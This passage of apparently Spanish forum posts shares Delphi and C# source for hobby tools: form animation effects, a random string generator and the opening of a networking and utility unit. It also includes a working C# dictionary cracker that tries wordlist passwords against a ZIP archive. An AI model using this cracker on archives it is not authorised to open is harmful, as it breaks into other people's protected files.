  message_box('DH Junk Code Maker 0.4', 'Output cleaned', 'Information');
end;

procedure TFormHome.copyClick(Sender: TObject);
begin
  mmOutput.SelectAll;
  mmOutput.CopyToClipboard;
  message_box('DH Junk Code Maker 0.4', 'Output copied to the clipboard',
    'Information');
end;

end.

// The End ?

  
  Si quieren bajar el programa lo pueden hacer de aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.

Una clase en Delphi para darle efectos a los formularios.

Tiene las siguientes opciones :

• Animacion marquesina en los labels de izquierda a derecha y viceversa
  
• Animacion marquesina en los labels de arriba hacia abajo y viceversa
  
• Volver transparentes los formularios
  
• Volver transparente la consola del programa
  
• Varios efectos en la ventana de los formularios
  
  El codigo :
  
  
  Código (delphi) [Seleccionar] Expandir
  
// Unit : DH Form Effects
// Version : 0.3
// (C) Doddy Hackman 2016

unit DH_Form_Effects;

interface

uses Windows, SysUtils, Vcl.Forms, Vcl.StdCtrls, Vcl.ExtCtrls, Registry;

type
  T_DH_Form_Effects = class
  private

  public
    constructor Create;
    destructor Destroy; override;
    procedure Effect_Marquee_Label_DownUp(Panel1: TPanel; Label1: TLabel;
      segundos: integer);
    procedure Effect_Marquee_Label_LeftRight(Label2: TLabel; opcion: string;
      segundos: integer);
    procedure Effect_Marquee_Form_Caption_LeftRight(Form1: TForm;
      opcion: string; segundos: integer);
    function Window_Effect(Form: HWND; opcion: string;
      velocidad: integer): bool;
    function Window_Transparent(Form: TForm; level: integer): bool;
    procedure Effect_Load_Another_Form(Form1_Load: TForm; Form2_Load: TForm;
      option: string; autosize: integer; space: integer; seconds: integer);
    function desktop_composition_control(option: string): bool;
    function Effect_Glass_in_Console(): bool;
  end;

type
  TTimerEffect_Marquee_Label_DownUp = Class(TTimer)
  public
    procedure OnWork(Sender: TObject);
  end;

  TTimerEffect_Marquee_Label_LeftRight = Class(TTimer)
  public
    procedure OnWork(Sender: TObject);
  end;

  TTimerEffect_Marquee_Form_Caption_LeftRight = Class(TTimer)
  public
    procedure OnWork(Sender: TObject);
  end;

var
  Timer_Effect_Marquee_Label_DownUp: TTimerEffect_Marquee_Label_DownUp;
  PanelToMove1: TPanel;
  LabelToMove1: TLabel;

var
  TimerEffect_Marquee_Label_LeftRight: TTimerEffect_Marquee_Label_LeftRight;
  LabelToMove2: TLabel;
  Option_Marquee_Label_LeftRight: string;

var
  TimerEffect_Marquee_Form_Caption_LeftRight
    : TTimerEffect_Marquee_Form_Caption_LeftRight;
  FormCaptionToMove: TForm;
  Option_Marquee_Form_Caption_LeftRight: string;

implementation

constructor T_DH_Form_Effects.Create;
begin
  inherited Create;
  //
end;

destructor T_DH_Form_Effects.Destroy;
begin
  inherited Destroy;
end;

// Timers

procedure TTimerEffect_Marquee_Label_DownUp.OnWork(Sender: TObject);
begin
  LabelToMove1.Top := LabelToMove1.Top - 10;
  if LabelToMove1.Top + LabelToMove1.Height < 0 then
  begin
    LabelToMove1.Top := PanelToMove1.Height;
  end;
end;

procedure TTimerEffect_Marquee_Form_Caption_LeftRight.OnWork(Sender: TObject);
var
  code: string;
  opcion: string;
begin
  code := FormCaptionToMove.Caption;
  opcion := Option_Marquee_Form_Caption_LeftRight;
  if opcion = 'left' then
  begin
    FormCaptionToMove.Caption := Copy(code, 2, Length(code) - 1) +
      Copy(code, 1, 1);
  end
  else if (opcion = 'right') then
  begin
    FormCaptionToMove.Caption := Copy(code, Length(code) - 1, 1) +
      Copy(code, 1, Length(code) - 1);
  end
  else
  begin
    FormCaptionToMove.Caption := Copy(code, 2, Length(code) - 1) +
      Copy(code, 1, 1);
  end;
end;

procedure TTimerEffect_Marquee_Label_LeftRight.OnWork(Sender: TObject);
// Based on : http://delphi.about.com/od/vclusing/a/marquee.htm
// Thanks to Zarko Gajic
var
  code: string;
  opcion: string;
begin
  code := LabelToMove2.Caption;
  opcion := Option_Marquee_Label_LeftRight;
  if opcion = 'left' then
  begin
    LabelToMove2.Caption := Copy(code, 2, Length(code) - 1) + Copy(code, 1, 1);
  end
  else if (opcion = 'right') then
  begin
    LabelToMove2.Caption := Copy(code, Length(code) - 1, 1) +
      Copy(code, 1, Length(code) - 1);
  end
  else
  begin
    LabelToMove2.Caption := Copy(code, 2, Length(code) - 1) + Copy(code, 1, 1);
  end;
end;

//

// Functions

procedure T_DH_Form_Effects.Effect_Load_Another_Form(Form1_Load: TForm;
  Form2_Load: TForm; option: string; autosize: integer; space: integer;
  seconds: integer);
var
  width: integer;
  Height: integer;
  i: integer;
begin

  if (autosize = 1) then
  begin
    width := Form2_Load.width;
    Height := Form1_Load.Height;
  end
  else
  begin
    width := Form2_Load.width;
    Height := Form2_Load.Height;
  end;

  if (option = 'effect1') then
  begin
    Form2_Load.width := 1;
    Form2_Load.Height := Form1_Load.Height;
    Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
    Form2_Load.Top := Form1_Load.Top;
    Form2_Load.Show;
    for i := 1 to width do
    begin
      if (Form2_Load.width = width) then
      begin
        break;
      end
      else
      begin
        Form2_Load.width := i + seconds;
        Form2_Load.Update;
      end;
    end;
  end
  else if (option = 'effect2') then
  begin
    Form2_Load.Hide;
    Form2_Load.Height := Height;
    Form2_Load.Left := Form1_Load.Left + width;
    Form2_Load.Top := Form1_Load.Top;
    Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
    Window_Effect(Form2_Load.Handle, 'effect1', seconds);
    Form2_Load.Show;
  end
  else
  begin
    Form2_Load.width := 1;
    Form2_Load.Height := Form1_Load.Height;
    Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
    Form2_Load.Top := Form1_Load.Top;
    Form2_Load.Show;
    for i := 1 to width do
    begin
      if (Form2_Load.width = width) then
      begin
        break;
      end
      else
      begin
        Form2_Load.width := i + seconds;
        Form2_Load.Update;
      end;
    end;
  end;
end;

procedure T_DH_Form_Effects.Effect_Marquee_Label_DownUp(Panel1: TPanel;
  Label1: TLabel; segundos: integer);
begin

  // To hide panel : BevelOuter = bvNone

  PanelToMove1 := Panel1;
  LabelToMove1 := Label1;
  Timer_Effect_Marquee_Label_DownUp :=
    TTimerEffect_Marquee_Label_DownUp.Create(nil);
  Timer_Effect_Marquee_Label_DownUp.Interval := segundos * 1000;
  Timer_Effect_Marquee_Label_DownUp.OnTimer :=
    Timer_Effect_Marquee_Label_DownUp.OnWork;
  Timer_Effect_Marquee_Label_DownUp.Enabled := True;
end;

procedure T_DH_Form_Effects.Effect_Marquee_Form_Caption_LeftRight(Form1: TForm;
  opcion: string; segundos: integer);
begin
  if (opcion = 'left') then
  begin
    FormCaptionToMove := Form1;
    FormCaptionToMove.Caption := FormCaptionToMove.Caption + ' ';
  end
  else if (opcion = 'right') then
  begin
    FormCaptionToMove := Form1;
    FormCaptionToMove.Caption := FormCaptionToMove.Caption + '  ';
  end
  else
  begin
    FormCaptionToMove := Form1;
    FormCaptionToMove.Caption := FormCaptionToMove.Caption + ' ';
  end;

  Option_Marquee_Form_Caption_LeftRight := opcion;
  TimerEffect_Marquee_Form_Caption_LeftRight :=
    TTimerEffect_Marquee_Form_Caption_LeftRight.Create(nil);
  TimerEffect_Marquee_Form_Caption_LeftRight.Interval := segundos * 1000;
  TimerEffect_Marquee_Form_Caption_LeftRight.OnTimer :=
    TimerEffect_Marquee_Form_Caption_LeftRight.OnWork;
  TimerEffect_Marquee_Form_Caption_LeftRight.Enabled := True;
end;

procedure T_DH_Form_Effects.Effect_Marquee_Label_LeftRight(Label2: TLabel;
  opcion: string; segundos: integer);
begin
  if (opcion = 'left') then
  begin
    LabelToMove2 := Label2;
    LabelToMove2.Caption := LabelToMove2.Caption + ' ';
  end
  else if (opcion = 'right') then
  begin
    LabelToMove2 := Label2;
    LabelToMove2.Caption := LabelToMove2.Caption + '  ';
  end
  else
  begin
    LabelToMove2 := Label2;
    LabelToMove2.Caption := LabelToMove2.Caption + ' ';
  end;
  Option_Marquee_Label_LeftRight := opcion;
  TimerEffect_Marquee_Label_LeftRight :=
    TTimerEffect_Marquee_Label_LeftRight.Create(nil);
  TimerEffect_Marquee_Label_LeftRight.Interval := segundos * 1000;
  TimerEffect_Marquee_Label_LeftRight.OnTimer :=
    TimerEffect_Marquee_Label_LeftRight.OnWork;
  TimerEffect_Marquee_Label_LeftRight.Enabled := True;
end;

function T_DH_Form_Effects.Window_Effect(Form: HWND; opcion: string;
  velocidad: integer): bool;
begin
  try
    begin
      if (opcion = 'slide') then
      begin
        AnimateWindow(Form, velocidad, AW_SLIDE);
      end
      else if (opcion = 'blend') then
      begin
        AnimateWindow(Form, velocidad, AW_BLEND);
      end
      else if (opcion = 'hide') then
      begin
        AnimateWindow(Form, velocidad, AW_HIDE);
      end
      else if (opcion = 'center') then
      begin
        AnimateWindow(Form, velocidad, AW_CENTER);
      end
      else if (opcion = 'effect1') then
      begin
        AnimateWindow(Form, velocidad, AW_HOR_POSITIVE);
      end
      else if (opcion = 'effect2') then
      begin
        AnimateWindow(Form, velocidad, AW_HOR_NEGATIVE);
      end
      else if (opcion = 'effect3') then
      begin
        AnimateWindow(Form, velocidad, AW_VER_POSITIVE);
      end
      else if (opcion = 'effect4') then
      begin
        AnimateWindow(Form, velocidad, AW_VER_NEGATIVE);
      end
      else
      begin
        Result := False;
      end;
      Result := True;
    end;
  except
    begin
      Result := False;
    end;
  end;
end;

function T_DH_Form_Effects.Window_Transparent(Form: TForm;
  level: integer): bool;
begin

  // Effect in Desktop Dark
  // Level : 240
  // Level : 235
  // Level : 230

  // Effect in Desktop White
  // Level : 220

  try
    begin
      Form.AlphaBlend := True;
      Form.AlphaBlendValue := level;
      Form.Visible := True;
      Result := True;
    end;
  except
    begin
      Result := False;
    end;
  end;
end;

function T_DH_Form_Effects.desktop_composition_control(option: string): bool;
var
  Registry: TRegistry;
begin
  if not(option = '') then
  begin
    try
      begin
        Registry := TRegistry.Create;
        Registry.RootKey := HKEY_CURRENT_USER;
        Registry.OpenKey('Software\Microsoft\Windows\DWM', True);
        if (option = 'on') then
        begin
          Registry.WriteString('CompositionPolicy', '0');
        end;
        if (option = 'off') then
        begin
          Registry.WriteString('CompositionPolicy', '1');
        end;
        Registry.Free;
        Result := True;
      end;
    except
      begin
        Result := False;
      end;
    end;
  end
  else
  begin
    Result := False;
  end;
end;

// Function for Effect Glass in Console
// Credits : Based on http://www.delphibasics.info/home/delphibasicssnippets/glasseffectinadelphiconsoleapplication
// Thanks to Rodrigo Ruz
// Note : You need enable desktop composition to use this function , else use the function
// desktop_composition_control() to enable

type
  DWM_BLURBEHIND = record
    controls: DWORD;
    check: bool;
    color_now: HRGN;
    max_now: bool;
  end;

procedure DwmEnableBlurBehindWindow(HWND: HWND;
  const pBlurBehind: DWM_BLURBEHIND); safecall;
  external 'dwmapi.dll' name 'DwmEnableBlurBehindWindow';
function GetConsoleWindow: HWND; stdcall;
  external kernel32 name 'GetConsoleWindow';

function check_console: Boolean;
var
  Handle: THandle;
begin
  Handle := GetStdHandle(Std_Output_Handle);
  Win32Check(Handle <> Invalid_Handle_Value);
  if (Handle <> 0) then
  begin
    Result := True;
  end
  else
  begin
    Result := False;
  end;
end;

procedure Effect_Glass(Handle: HWND; active: Boolean; rgn: HRGN = 0;
  max: Boolean = False; control: Cardinal = 1);
var
  effect: DWM_BLURBEHIND;
begin
  effect.controls := control;
  effect.check := active;
  effect.color_now := rgn;
  effect.max_now := max;

  DwmEnableBlurBehindWindow(Handle, effect);
end;

function T_DH_Form_Effects.Effect_Glass_in_Console(): bool;
begin
  if (check_console) then
  begin
    try
      begin
        Effect_Glass(GetConsoleWindow(), True);
        Result := True;
      end;
    except
      begin
        //
      end;
    end;
  end
  else
  begin
    Result := False;
  end;
end;

//

end.

// The End ?

  
  Ejemplos de uso :
  
  
  Código (delphi) [Seleccionar] Expandir
  
procedure TForm1.Form_EffectsClick(Sender: TObject);

var
  effects_manager: T_DH_Form_Effects;

begin

  effects_manager := T_DH_Form_Effects.Create();

  effects_manager.window_transparent(Form1, 240);
  effects_manager.window_effect(Form1.Handle,'center',100);
  effects_manager.Effect_Marquee_Label_DownUp(Panel1, Label1, 1);
  effects_manager.Effect_Marquee_Label_LeftRight(Label2, 'left', 1);
  Effect_Marquee_Form_Caption_LeftRight(Form1, 'right', 1);
  Effect_Load_Another_Form(Form1, About, 'effect2', 1, 5, 300);
  Effect_Load_Another_Form(Form1, About, 'effect1', 1,10,200);

  effects_manager.Free;

end;

  
  Si quieren bajar el codigo lo pueden hacer de aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.

Un programa en Delphi para generar strings de 10 tipos diferentes y longitudes especificas.

Una imagen :



El codigo :

Código (delphi) [Seleccionar] Expandir


// DH String Generator 0.3
// (C) Doddy Hackman 2016

unit generator;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Math, Vcl.ExtCtrls,
  Vcl.ComCtrls, Vcl.Imaging.pngimage, Vcl.ImgList, FormAbout;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    gbStrings: TGroupBox;
    txtString1: TEdit;
    btnGen1: TButton;
    btnCopy1: TButton;
    txtString2: TEdit;
    txtString3: TEdit;
    btnGen2: TButton;
    btnCopy2: TButton;
    btnGen3: TButton;
    btnCopy3: TButton;
    txtString4: TEdit;
    btnGen4: TButton;
    btnCopy4: TButton;
    txtString5: TEdit;
    btnGen5: TButton;
    btnCopy5: TButton;
    txtString6: TEdit;
    btnGen6: TButton;
    btnCopy6: TButton;
    txtString7: TEdit;
    btnGen7: TButton;
    btnCopy7: TButton;
    txtString8: TEdit;
    btnGen8: TButton;
    btnCopy8: TButton;
    txtString9: TEdit;
    btnGen9: TButton;
    btnCopy9: TButton;
    txtString10: TEdit;
    btnGen10: TButton;
    btnCopy10: TButton;
    gbEnterLength: TGroupBox;
    gbOptions: TGroupBox;
    btnAutomatic: TButton;
    btnAbout: TButton;
    btnExit: TButton;
    txtLength: TEdit;
    udLength: TUpDown;
    automatic_string: TTimer;
    ilIconos: TImageList;
    procedure btnGen1Click(Sender: TObject);
    procedure btnGen2Click(Sender: TObject);
    procedure btnGen3Click(Sender: TObject);
    procedure btnGen4Click(Sender: TObject);
    procedure btnGen5Click(Sender: TObject);
    procedure btnGen6Click(Sender: TObject);
    procedure btnGen7Click(Sender: TObject);
    procedure btnGen8Click(Sender: TObject);
    procedure btnGen9Click(Sender: TObject);
    procedure btnGen10Click(Sender: TObject);
    procedure btnCopy1Click(Sender: TObject);
    procedure btnCopy2Click(Sender: TObject);
    procedure btnCopy3Click(Sender: TObject);
    procedure btnCopy4Click(Sender: TObject);
    procedure btnCopy5Click(Sender: TObject);
    procedure btnCopy6Click(Sender: TObject);
    procedure btnCopy7Click(Sender: TObject);
    procedure btnCopy8Click(Sender: TObject);
    procedure btnCopy9Click(Sender: TObject);
    procedure btnCopy10Click(Sender: TObject);
    procedure automatic_stringTimer(Sender: TObject);
    procedure btnAutomaticClick(Sender: TObject);
    procedure btnAboutClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function dh_generate_string(option: string; length_string: integer): string;
const
  letters1: array [1 .. 26] of string = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
    'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
    'x', 'y', 'z');
const
  letters2: array [1 .. 26] of string = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
    'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
    'X', 'Y', 'Z');
const
  numbers: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7',
    '8', '9');

const
  cyrillic: array [1 .. 44] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?');

const
  no_idea1: array [1 .. 13] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?');

const
  no_idea2: array [1 .. 28] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '??', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '??');

const
  no_idea3: array [1 .. 13] of string = ('??', '?', '?', '?', '?', '?', '?',
    '_', '?', '`', '?', '_', '?');

const
  no_idea4: array [1 .. 26] of string = ('?', '?', '€', '?', 'l', '?', '™', 'O',
    'e', '?', '?', '?', '?', '?', '?', '?', '?', '-', '/', '·', 'v', '8', '?',
    '˜', '?', '=');

const
  no_idea5: array [1 .. 33] of string = ('?', '?', '?', '?', 'n', '?', '?', '?',
    '?', '?', '?', 'G', '?', '?', '?', 'e', 'ß', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '8', 'S', '?');

const
  no_idea6: array [1 .. 32] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?');
var
  code: string;
  gen_now: string;
  i: integer;
  index: integer;
begin

  gen_now := '';

  for i := 1 to length_string do
  begin
    if (option = '1') then
    begin
      gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
    end
    else if (option = '2') then
    begin
      gen_now := gen_now + letters2[RandomRange(1, Length(letters2) + 1)];
    end
    else if (option = '3') then
    begin
      gen_now := gen_now + numbers[RandomRange(1, Length(numbers) + 1)];
    end
    else if (option = '4') then
    begin
      gen_now := gen_now + cyrillic[RandomRange(1, Length(cyrillic) + 1)];
    end
    else if (option = '5') then
    begin
      gen_now := gen_now + no_idea1[RandomRange(1, Length(no_idea1) + 1)];
    end
    else if (option = '6') then
    begin
      gen_now := gen_now + no_idea2[RandomRange(1, Length(no_idea2) + 1)];
    end
    else if (option = '7') then
    begin
      gen_now := gen_now + no_idea3[RandomRange(1, Length(no_idea3) + 1)];
    end
    else if (option = '8') then
    begin
      gen_now := gen_now + no_idea4[RandomRange(1, Length(no_idea4) + 1)];
    end
    else if (option = '9') then
    begin
      gen_now := gen_now + no_idea5[RandomRange(1, Length(no_idea5) + 1)];
    end
    else if (option = '10') then
    begin
      gen_now := gen_now + no_idea6[RandomRange(1, Length(no_idea6) + 1)];
    end
    else
    begin
      gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
    end;
  end;
  code := gen_now;

  Result := code;
end;

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

//

procedure TFormHome.btnGen1Click(Sender: TObject);
begin
  txtString1.Text := dh_generate_string('1', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen2Click(Sender: TObject);
begin
  txtString2.Text := dh_generate_string('2', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen3Click(Sender: TObject);
begin
  txtString3.Text := dh_generate_string('3', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen4Click(Sender: TObject);
begin
  txtString4.Text := dh_generate_string('4', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen5Click(Sender: TObject);
begin
  txtString5.Text := dh_generate_string('5', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen6Click(Sender: TObject);
begin
  txtString6.Text := dh_generate_string('6', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen7Click(Sender: TObject);
begin
  txtString7.Text := dh_generate_string('7', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen8Click(Sender: TObject);
begin
  txtString8.Text := dh_generate_string('8', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen9Click(Sender: TObject);
begin
  txtString9.Text := dh_generate_string('9', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen10Click(Sender: TObject);
begin
  txtString10.Text := dh_generate_string('10', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnCopy1Click(Sender: TObject);
begin
  if not(txtString1.Text = '') then
  begin
    txtString1.SelectAll;
    txtString1.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy2Click(Sender: TObject);
begin
  if not(txtString2.Text = '') then
  begin
    txtString2.SelectAll;
    txtString2.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy3Click(Sender: TObject);
begin
  if not(txtString3.Text = '') then
  begin
    txtString3.SelectAll;
    txtString3.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy4Click(Sender: TObject);
begin
  if not(txtString4.Text = '') then
  begin
    txtString4.SelectAll;
    txtString4.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy5Click(Sender: TObject);
begin
  if not(txtString5.Text = '') then
  begin
    txtString5.SelectAll;
    txtString5.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy6Click(Sender: TObject);
begin
  if not(txtString6.Text = '') then
  begin
    txtString6.SelectAll;
    txtString6.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy7Click(Sender: TObject);
begin
  if not(txtString7.Text = '') then
  begin
    txtString7.SelectAll;
    txtString7.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy8Click(Sender: TObject);
begin
  if not(txtString8.Text = '') then
  begin
    txtString8.SelectAll;
    txtString8.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy9Click(Sender: TObject);
begin
  if not(txtString9.Text = '') then
  begin
    txtString9.SelectAll;
    txtString9.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy10Click(Sender: TObject);
begin
  if not(txtString10.Text = '') then
  begin
    txtString10.SelectAll;
    txtString10.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnAboutClick(Sender: TObject);
begin
  FormAbout.frmAbout.Show();
end;

procedure TFormHome.btnAutomaticClick(Sender: TObject);
begin
  if (automatic_string.Enabled = False) then
  begin
    btnAutomatic.Caption := 'Disable Automatic Generate';
    automatic_string.Enabled := True;
  end
  else
  begin
    btnAutomatic.Caption := 'Enable Automatic Generate';
    automatic_string.Enabled := False;
  end;
end;

procedure TFormHome.automatic_stringTimer(Sender: TObject);
begin
  txtString1.Text := dh_generate_string('1', StrToInt(txtLength.Text));
  txtString2.Text := dh_generate_string('2', StrToInt(txtLength.Text));
  txtString3.Text := dh_generate_string('3', StrToInt(txtLength.Text));
  txtString4.Text := dh_generate_string('4', StrToInt(txtLength.Text));
  txtString5.Text := dh_generate_string('5', StrToInt(txtLength.Text));
  txtString6.Text := dh_generate_string('6', StrToInt(txtLength.Text));
  txtString7.Text := dh_generate_string('7', StrToInt(txtLength.Text));
  txtString8.Text := dh_generate_string('8', StrToInt(txtLength.Text));
  txtString9.Text := dh_generate_string('9', StrToInt(txtLength.Text));
  txtString10.Text := dh_generate_string('10', StrToInt(txtLength.Text));
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

Un simple programa en C# para buscar el password de un comprimido ZIP usando un diccionario.

El codigo :

Código (csharp) [Seleccionar] Expandir


// ZIP Cracker 0.2
// (C) Doddy Hackman 2015

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Ionic.Zip;
using System.IO;

namespace ZIP_Cracker
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        public bool check_password(string filename, string password)
        {
            try
            {
                using (ZipFile zip = ZipFile.Read(filename))
                {
                    zip.Password = password;
                    var stream = new MemoryStream();

                    foreach (ZipEntry z in zip)
                    {
                        z.Extract(stream);
                    }
                    return true;
                }
            }
            catch
            {
                return false;
            }
        }

        private void exit_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void load_Click(object sender, EventArgs e)
        {
            open.InitialDirectory = Directory.GetCurrentDirectory();
            open.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
            open.Title = "Select File";
            if (open.ShowDialog() == DialogResult.OK)
            {
                wordlist.Text = open.FileName;
            }
        }

        private void crack_Click(object sender, EventArgs e)
        {
            string zip_file = archivo_zip.Text;
            string wordlist_file = wordlist.Text;
            string password;

            console.Clear();

            if (File.Exists(zip_file) && File.Exists(wordlist_file))
            {
                console.AppendText("[+] Cracking ...\n\n");
                System.IO.StreamReader leyendo = new System.IO.StreamReader(wordlist_file);
                while ((password = leyendo.ReadLine()) != null)
                {
                    if (check_password(zip_file,password))
                    {
                        console.AppendText("[+] Password Found : " + password+"\n");
                        break;
                    }
                    else
                    {
                        console.AppendText("[-] Password : "+password+" FAIL"+"\n");
                    }
                }

                leyendo.Close();

                console.AppendText("\n[+] Finished");
            }
            else
            {
                console.AppendText("[-] File not found");
            }
        }

        private void load_zip_Click(object sender, EventArgs e)
        {
            open.InitialDirectory = Directory.GetCurrentDirectory();
            open.Filter = "zip files (*.zip)|*.zip|All files (*.*)|*.*";
            open.Title = "Select ZIP";
            if (open.ShowDialog() == DialogResult.OK)
            {
                archivo_zip.Text = open.FileName;
            }
        }

    }
}

// The End ?


Una imagen :



Si quieren bajar el proyecto con el codigo fuente lo pueden hacer de aca :

SourceForge.

Eso seria todo.

Hola les traigo una Unit en Delphi , se llama DH_Tools y tiene las siguientes funciones :

• Realizar una peticion GET a una pagina y capturar la respuesta
  
• Realizar una peticion POST a una pagina y capturar la respuesta
  
• Crear o escribir en un archivo
  
• Leer un archivo
  
• Ejecutar comandos y recibir la respuesta
  
• HTTP FingerPrinting
  
• Recibir el codigo de respuesta HTTP de una pagina
  
• Limpiar repetidos en un array
  
• Limpiar URL en un array a partir de la "query"
  
• Split casero xD
  
• Descargar archivos de internet
  
• Capturar el nombre del archivo de una URL
  
• URI Split
  
• MD5 Encode
  
• Capturar el MD5 de un archivo
  
• Resolve IP
  
  El codigo :
  
  
  Código (delphi) [Seleccionar] Expandir
  
// Unit : DH Tools
// Version : 0.2
// (C) Doddy Hackman 2015

unit DH_Tools;

interface

uses SysUtils, Windows, WinInet, Classes, IdHTTP, Generics.Collections, URLMon,
  IdURI, IdHashMessageDigest, WinSock;

function toma(const pagina: string): UTF8String;
function tomar(pagina: string; postdata: AnsiString): string;
procedure savefile(filename, texto: string);
function read_file(const archivo: TFileName): String;
function console(cmd: string): string;
function http_finger(page: string): string;
function response_code(page: string): string;
function clean_list(const list: TList<String>): TList<String>;
function cut_list(const list: TList<String>): TList<String>;
function regex(text: String; deaca: String; hastaaca: String): String;
function download_file(page, save: string): bool;
function get_url_file(Url: string): string;
function uri_split(Url, opcion: string): string;
function md5_encode(text: string): string;
function md5_file(const filename: string): string;
function resolve_ip(const target: string): string;

implementation

function toma(const pagina: string): UTF8String;

// Credits : Based on http://www.scalabium.com/faq/dct0080.htm
// Thanks to www.scalabium.com

var
  nave1: HINTERNET;
  nave2: HINTERNET;
  tou: DWORD;
  codez: UTF8String;
  codee: array [0 .. 1023] of byte;
  finalfinal: string;

begin

  try

    begin

      finalfinal := '';
      Result := '';

      nave1 := InternetOpen
        ('Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
        INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

      nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
